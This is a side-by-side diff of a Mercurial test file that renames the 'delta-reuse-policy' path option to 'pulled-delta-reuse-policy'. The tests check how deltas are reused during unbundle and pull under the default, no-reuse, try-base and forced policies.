140 Keeping the `p1` delta used in the bundle is sub-optimal for storage, but
141 strusting in-bundle delta is faster to apply.
141 strusting in-bundle delta is faster to apply.
142
142
143 $ hg init bundle-reuse-enabled
143 $ hg init bundle-reuse-enabled
144 $ hg -R bundle-reuse-enabled unbundle all-p1.hg --quiet \
144 $ hg -R bundle-reuse-enabled unbundle all-p1.hg --quiet \
145 > --config storage.revlog.reuse-external-delta-parent=yes
145 > --config storage.revlog.reuse-external-delta-parent=yes
146 DBG-DELTAS: CHANGELOG: * (glob)
146 DBG-DELTAS: CHANGELOG: * (glob)
147 DBG-DELTAS: CHANGELOG: * (glob)
147 DBG-DELTAS: CHANGELOG: * (glob)
148 DBG-DELTAS: CHANGELOG: * (glob)
148 DBG-DELTAS: CHANGELOG: * (glob)
149 DBG-DELTAS: CHANGELOG: * (glob)
149 DBG-DELTAS: CHANGELOG: * (glob)
150 DBG-DELTAS: MANIFESTLOG: * (glob)
150 DBG-DELTAS: MANIFESTLOG: * (glob)
151 DBG-DELTAS: MANIFESTLOG: * (glob)
151 DBG-DELTAS: MANIFESTLOG: * (glob)
152 DBG-DELTAS: MANIFESTLOG: * (glob)
152 DBG-DELTAS: MANIFESTLOG: * (glob)
153 DBG-DELTAS: MANIFESTLOG: * (glob)
153 DBG-DELTAS: MANIFESTLOG: * (glob)
154 DBG-DELTAS: FILELOG:my-file.txt: rev=0: delta-base=0 * (glob)
154 DBG-DELTAS: FILELOG:my-file.txt: rev=0: delta-base=0 * (glob)
155 DBG-DELTAS: FILELOG:my-file.txt: rev=1: delta-base=0 * (glob)
155 DBG-DELTAS: FILELOG:my-file.txt: rev=1: delta-base=0 * (glob)
156 DBG-DELTAS: FILELOG:my-file.txt: rev=2: delta-base=0 * (glob)
156 DBG-DELTAS: FILELOG:my-file.txt: rev=2: delta-base=0 * (glob)
157 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
157 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
158
158
159 (confirm the file revision are in the same order, 2 should be smaller than 1)
159 (confirm the file revision are in the same order, 2 should be smaller than 1)
160
160
161 $ hg -R bundle-reuse-enabled debugdata my-file.txt 2 | wc -l
161 $ hg -R bundle-reuse-enabled debugdata my-file.txt 2 | wc -l
162 \s*1001 (re)
162 \s*1001 (re)
163 $ hg -R bundle-reuse-enabled debugdata my-file.txt 1 | wc -l
163 $ hg -R bundle-reuse-enabled debugdata my-file.txt 1 | wc -l
164 \s*1200 (re)
164 \s*1200 (re)
165
165
166 explicitly disabled
166 explicitly disabled
167 -------------------
167 -------------------
168
168
169 Not reusing the delta-base from the parent means we the delta will be made
169 Not reusing the delta-base from the parent means we the delta will be made
170 against the "best" parent. (so not the same as the previous two)
170 against the "best" parent. (so not the same as the previous two)
171
171
172 $ hg init bundle-reuse-disabled
172 $ hg init bundle-reuse-disabled
173 $ hg -R bundle-reuse-disabled unbundle all-p1.hg --quiet \
173 $ hg -R bundle-reuse-disabled unbundle all-p1.hg --quiet \
174 > --config storage.revlog.reuse-external-delta-parent=no
174 > --config storage.revlog.reuse-external-delta-parent=no
175 DBG-DELTAS: CHANGELOG: * (glob)
175 DBG-DELTAS: CHANGELOG: * (glob)
176 DBG-DELTAS: CHANGELOG: * (glob)
176 DBG-DELTAS: CHANGELOG: * (glob)
177 DBG-DELTAS: CHANGELOG: * (glob)
177 DBG-DELTAS: CHANGELOG: * (glob)
178 DBG-DELTAS: CHANGELOG: * (glob)
178 DBG-DELTAS: CHANGELOG: * (glob)
179 DBG-DELTAS: MANIFESTLOG: * (glob)
179 DBG-DELTAS: MANIFESTLOG: * (glob)
180 DBG-DELTAS: MANIFESTLOG: * (glob)
180 DBG-DELTAS: MANIFESTLOG: * (glob)
181 DBG-DELTAS: MANIFESTLOG: * (glob)
181 DBG-DELTAS: MANIFESTLOG: * (glob)
182 DBG-DELTAS: MANIFESTLOG: * (glob)
182 DBG-DELTAS: MANIFESTLOG: * (glob)
183 DBG-DELTAS: FILELOG:my-file.txt: rev=0: delta-base=0 * (glob)
183 DBG-DELTAS: FILELOG:my-file.txt: rev=0: delta-base=0 * (glob)
184 DBG-DELTAS: FILELOG:my-file.txt: rev=1: delta-base=0 * (glob)
184 DBG-DELTAS: FILELOG:my-file.txt: rev=1: delta-base=0 * (glob)
185 DBG-DELTAS: FILELOG:my-file.txt: rev=2: delta-base=0 * (glob)
185 DBG-DELTAS: FILELOG:my-file.txt: rev=2: delta-base=0 * (glob)
186 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=1 * (glob)
186 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=1 * (glob)
187
187
188 (confirm the file revision are in the same order, 2 should be smaller than 1)
188 (confirm the file revision are in the same order, 2 should be smaller than 1)
189
189
190 $ hg -R bundle-reuse-disabled debugdata my-file.txt 2 | wc -l
190 $ hg -R bundle-reuse-disabled debugdata my-file.txt 2 | wc -l
191 \s*1001 (re)
191 \s*1001 (re)
192 $ hg -R bundle-reuse-disabled debugdata my-file.txt 1 | wc -l
192 $ hg -R bundle-reuse-disabled debugdata my-file.txt 1 | wc -l
193 \s*1200 (re)
193 \s*1200 (re)
194
194
195
195
196 Check the path.*:delta-reuse-policy option
196 Check the path.*:pulled-delta-reuse-policy option
197 ==========================================
197 ==========================================
198
198
199 Get a repository with the bad parent picked and a clone ready to pull the merge
199 Get a repository with the bad parent picked and a clone ready to pull the merge
200
200
201 $ cp -ar bundle-reuse-enabled peer-bad-delta
201 $ cp -ar bundle-reuse-enabled peer-bad-delta
202 $ hg clone peer-bad-delta local-pre-pull --rev `cat large.node` --rev `cat small.node` --quiet
202 $ hg clone peer-bad-delta local-pre-pull --rev `cat large.node` --rev `cat small.node` --quiet
203 DBG-DELTAS: CHANGELOG: * (glob)
203 DBG-DELTAS: CHANGELOG: * (glob)
204 DBG-DELTAS: CHANGELOG: * (glob)
204 DBG-DELTAS: CHANGELOG: * (glob)
205 DBG-DELTAS: CHANGELOG: * (glob)
205 DBG-DELTAS: CHANGELOG: * (glob)
206 DBG-DELTAS: MANIFESTLOG: * (glob)
206 DBG-DELTAS: MANIFESTLOG: * (glob)
207 DBG-DELTAS: MANIFESTLOG: * (glob)
207 DBG-DELTAS: MANIFESTLOG: * (glob)
208 DBG-DELTAS: MANIFESTLOG: * (glob)
208 DBG-DELTAS: MANIFESTLOG: * (glob)
209 DBG-DELTAS: FILELOG:my-file.txt: rev=0: delta-base=0 * (glob)
209 DBG-DELTAS: FILELOG:my-file.txt: rev=0: delta-base=0 * (glob)
210 DBG-DELTAS: FILELOG:my-file.txt: rev=1: delta-base=0 * (glob)
210 DBG-DELTAS: FILELOG:my-file.txt: rev=1: delta-base=0 * (glob)
211 DBG-DELTAS: FILELOG:my-file.txt: rev=2: delta-base=0 * (glob)
211 DBG-DELTAS: FILELOG:my-file.txt: rev=2: delta-base=0 * (glob)
212
212
213 Check the parent order for the file
213 Check the parent order for the file
214
214
215 $ hg -R local-pre-pull debugdata my-file.txt 2 | wc -l
215 $ hg -R local-pre-pull debugdata my-file.txt 2 | wc -l
216 \s*1001 (re)
216 \s*1001 (re)
217 $ hg -R local-pre-pull debugdata my-file.txt 1 | wc -l
217 $ hg -R local-pre-pull debugdata my-file.txt 1 | wc -l
218 \s*1200 (re)
218 \s*1200 (re)
219
219
220 Pull with no value (so the default)
220 Pull with no value (so the default)
221 -----------------------------------
221 -----------------------------------
222
222
223 default is to reuse the (bad) delta
223 default is to reuse the (bad) delta
224
224
225 $ cp -ar local-pre-pull local-no-value
225 $ cp -ar local-pre-pull local-no-value
226 $ hg -R local-no-value pull --quiet
226 $ hg -R local-no-value pull --quiet
227 DBG-DELTAS: CHANGELOG: * (glob)
227 DBG-DELTAS: CHANGELOG: * (glob)
228 DBG-DELTAS: MANIFESTLOG: * (glob)
228 DBG-DELTAS: MANIFESTLOG: * (glob)
229 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
229 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
230
230
231 Pull with explicitly the default
231 Pull with explicitly the default
232 --------------------------------
232 --------------------------------
233
233
234 default is to reuse the (bad) delta
234 default is to reuse the (bad) delta
235
235
236 $ cp -ar local-pre-pull local-default
236 $ cp -ar local-pre-pull local-default
237 $ hg -R local-default pull --quiet --config 'paths.default:delta-reuse-policy=default'
237 $ hg -R local-default pull --quiet --config 'paths.default:pulled-delta-reuse-policy=default'
238 DBG-DELTAS: CHANGELOG: * (glob)
238 DBG-DELTAS: CHANGELOG: * (glob)
239 DBG-DELTAS: MANIFESTLOG: * (glob)
239 DBG-DELTAS: MANIFESTLOG: * (glob)
240 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
240 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
241
241
242 Pull with no-reuse
242 Pull with no-reuse
243 ------------------
243 ------------------
244
244
245 We don't reuse the base, so we get a better delta
245 We don't reuse the base, so we get a better delta
246
246
247 $ cp -ar local-pre-pull local-no-reuse
247 $ cp -ar local-pre-pull local-no-reuse
248 $ hg -R local-no-reuse pull --quiet --config 'paths.default:delta-reuse-policy=no-reuse'
248 $ hg -R local-no-reuse pull --quiet --config 'paths.default:pulled-delta-reuse-policy=no-reuse'
249 DBG-DELTAS: CHANGELOG: * (glob)
249 DBG-DELTAS: CHANGELOG: * (glob)
250 DBG-DELTAS: MANIFESTLOG: * (glob)
250 DBG-DELTAS: MANIFESTLOG: * (glob)
251 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=1 * (glob)
251 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=1 * (glob)
252
252
253 Pull with try-base
253 Pull with try-base
254 ------------------
254 ------------------
255
255
256 We requested to use the (bad) delta
256 We requested to use the (bad) delta
257
257
258 $ cp -ar local-pre-pull local-try-base
258 $ cp -ar local-pre-pull local-try-base
259 $ hg -R local-try-base pull --quiet --config 'paths.default:delta-reuse-policy=try-base'
259 $ hg -R local-try-base pull --quiet --config 'paths.default:pulled-delta-reuse-policy=try-base'
260 DBG-DELTAS: CHANGELOG: * (glob)
260 DBG-DELTAS: CHANGELOG: * (glob)
261 DBG-DELTAS: MANIFESTLOG: * (glob)
261 DBG-DELTAS: MANIFESTLOG: * (glob)
262 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
262 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
263
263
264 Case where we force a "bad" delta to be applied
264 Case where we force a "bad" delta to be applied
265 ===============================================
265 ===============================================
266
266
267 We build a very different file content to force a full snapshot
267 We build a very different file content to force a full snapshot
268
268
269 $ cp -ar peer-bad-delta peer-bad-delta-with-full
269 $ cp -ar peer-bad-delta peer-bad-delta-with-full
270 $ cp -ar local-pre-pull local-pre-pull-full
270 $ cp -ar local-pre-pull local-pre-pull-full
271 $ echo '[paths]' >> local-pre-pull-full/.hg/hgrc
271 $ echo '[paths]' >> local-pre-pull-full/.hg/hgrc
272 $ echo 'default=../peer-bad-delta-with-full' >> local-pre-pull-full/.hg/hgrc
272 $ echo 'default=../peer-bad-delta-with-full' >> local-pre-pull-full/.hg/hgrc
273
273
274 $ hg -R peer-bad-delta-with-full update 'desc("merge")' --quiet
274 $ hg -R peer-bad-delta-with-full update 'desc("merge")' --quiet
275 $ ($TESTDIR/seq.py 2000 2100; $TESTDIR/seq.py 500 510; $TESTDIR/seq.py 3000 3050) \
275 $ ($TESTDIR/seq.py 2000 2100; $TESTDIR/seq.py 500 510; $TESTDIR/seq.py 3000 3050) \
276 > | $PYTHON $TESTTMP/sha256line.py > peer-bad-delta-with-full/my-file.txt
276 > | $PYTHON $TESTTMP/sha256line.py > peer-bad-delta-with-full/my-file.txt
277 $ hg -R peer-bad-delta-with-full commit -m 'trigger-full'
277 $ hg -R peer-bad-delta-with-full commit -m 'trigger-full'
278 DBG-DELTAS: FILELOG:my-file.txt: rev=4: delta-base=4 * (glob)
278 DBG-DELTAS: FILELOG:my-file.txt: rev=4: delta-base=4 * (glob)
279 DBG-DELTAS: MANIFESTLOG: * (glob)
279 DBG-DELTAS: MANIFESTLOG: * (glob)
280 DBG-DELTAS: CHANGELOG: * (glob)
280 DBG-DELTAS: CHANGELOG: * (glob)
281
281
282 Check that "try-base" behavior challenge the delta
282 Check that "try-base" behavior challenge the delta
283 --------------------------------------------------
283 --------------------------------------------------
284
284
285 The bundling process creates a delta against the previous revision, however this
285 The bundling process creates a delta against the previous revision, however this
286 is an invalid chain for the client, so it is not considered and we do a full
286 is an invalid chain for the client, so it is not considered and we do a full
287 snapshot again.
287 snapshot again.
288
288
289 $ cp -ar local-pre-pull-full local-try-base-full
289 $ cp -ar local-pre-pull-full local-try-base-full
290 $ hg -R local-try-base-full pull --quiet \
290 $ hg -R local-try-base-full pull --quiet \
291 > --config 'paths.default:delta-reuse-policy=try-base'
291 > --config 'paths.default:pulled-delta-reuse-policy=try-base'
292 DBG-DELTAS: CHANGELOG: * (glob)
292 DBG-DELTAS: CHANGELOG: * (glob)
293 DBG-DELTAS: CHANGELOG: * (glob)
293 DBG-DELTAS: CHANGELOG: * (glob)
294 DBG-DELTAS: MANIFESTLOG: * (glob)
294 DBG-DELTAS: MANIFESTLOG: * (glob)
295 DBG-DELTAS: MANIFESTLOG: * (glob)
295 DBG-DELTAS: MANIFESTLOG: * (glob)
296 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
296 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
297 DBG-DELTAS: FILELOG:my-file.txt: rev=4: delta-base=4 * (glob)
297 DBG-DELTAS: FILELOG:my-file.txt: rev=4: delta-base=4 * (glob)
298
298
299 Check that "forced" behavior do not challenge the delta, even if it is full.
299 Check that "forced" behavior do not challenge the delta, even if it is full.
300 ---------------------------------------------------------------------------
300 ---------------------------------------------------------------------------
301
301
302 A full bundle should be accepted as full bundle without recomputation
302 A full bundle should be accepted as full bundle without recomputation
303
303
304 $ cp -ar local-pre-pull-full local-forced-full
304 $ cp -ar local-pre-pull-full local-forced-full
305 $ hg -R local-forced-full pull --quiet \
305 $ hg -R local-forced-full pull --quiet \
306 > --config 'paths.default:delta-reuse-policy=forced'
306 > --config 'paths.default:pulled-delta-reuse-policy=forced'
307 DBG-DELTAS: CHANGELOG: * (glob)
307 DBG-DELTAS: CHANGELOG: * (glob)
308 DBG-DELTAS: CHANGELOG: * (glob)
308 DBG-DELTAS: CHANGELOG: * (glob)
309 DBG-DELTAS: MANIFESTLOG: * (glob)
309 DBG-DELTAS: MANIFESTLOG: * (glob)
310 DBG-DELTAS: MANIFESTLOG: * (glob)
310 DBG-DELTAS: MANIFESTLOG: * (glob)
311 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
311 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
312 DBG-DELTAS: FILELOG:my-file.txt: rev=4: delta-base=4 is-cached=1 - search-rounds=0 try-count=0 - delta-type=full snap-depth=0 - * (glob)
312 DBG-DELTAS: FILELOG:my-file.txt: rev=4: delta-base=4 is-cached=1 - search-rounds=0 try-count=0 - delta-type=full snap-depth=0 - * (glob)
313
313
314 Check that "forced" behavior do not challenge the delta, even if it is bad.
314 Check that "forced" behavior do not challenge the delta, even if it is bad.
315 ---------------------------------------------------------------------------
315 ---------------------------------------------------------------------------
316
316
317 The client does not challenge anything and applies the bizarre delta directly.
317 The client does not challenge anything and applies the bizarre delta directly.
318
318
319 Note: If the bundling process becomes smarter, this test might no longer work
319 Note: If the bundling process becomes smarter, this test might no longer work
320 (as the server won't be sending "bad" deltas anymore) and might need something
320 (as the server won't be sending "bad" deltas anymore) and might need something
321 more subtle to test this behavior.
321 more subtle to test this behavior.
322
322
323 $ hg bundle -R peer-bad-delta-with-full --all --config devel.bundle.delta=p1 all-p1.hg
323 $ hg bundle -R peer-bad-delta-with-full --all --config devel.bundle.delta=p1 all-p1.hg
324 5 changesets found
324 5 changesets found
325 $ cp -ar local-pre-pull-full local-forced-full-p1
325 $ cp -ar local-pre-pull-full local-forced-full-p1
326 $ hg -R local-forced-full-p1 pull --quiet \
326 $ hg -R local-forced-full-p1 pull --quiet \
327 > --config 'paths.*:delta-reuse-policy=forced' all-p1.hg
327 > --config 'paths.*:pulled-delta-reuse-policy=forced' all-p1.hg
328 DBG-DELTAS: CHANGELOG: * (glob)
328 DBG-DELTAS: CHANGELOG: * (glob)
329 DBG-DELTAS: CHANGELOG: * (glob)
329 DBG-DELTAS: CHANGELOG: * (glob)
330 DBG-DELTAS: MANIFESTLOG: * (glob)
330 DBG-DELTAS: MANIFESTLOG: * (glob)
331 DBG-DELTAS: MANIFESTLOG: * (glob)
331 DBG-DELTAS: MANIFESTLOG: * (glob)
332 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
332 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
333 DBG-DELTAS: FILELOG:my-file.txt: rev=4: delta-base=3 * (glob)
333 DBG-DELTAS: FILELOG:my-file.txt: rev=4: delta-base=3 * (glob)
General Comments 0
You need to be logged in to leave comments. Login now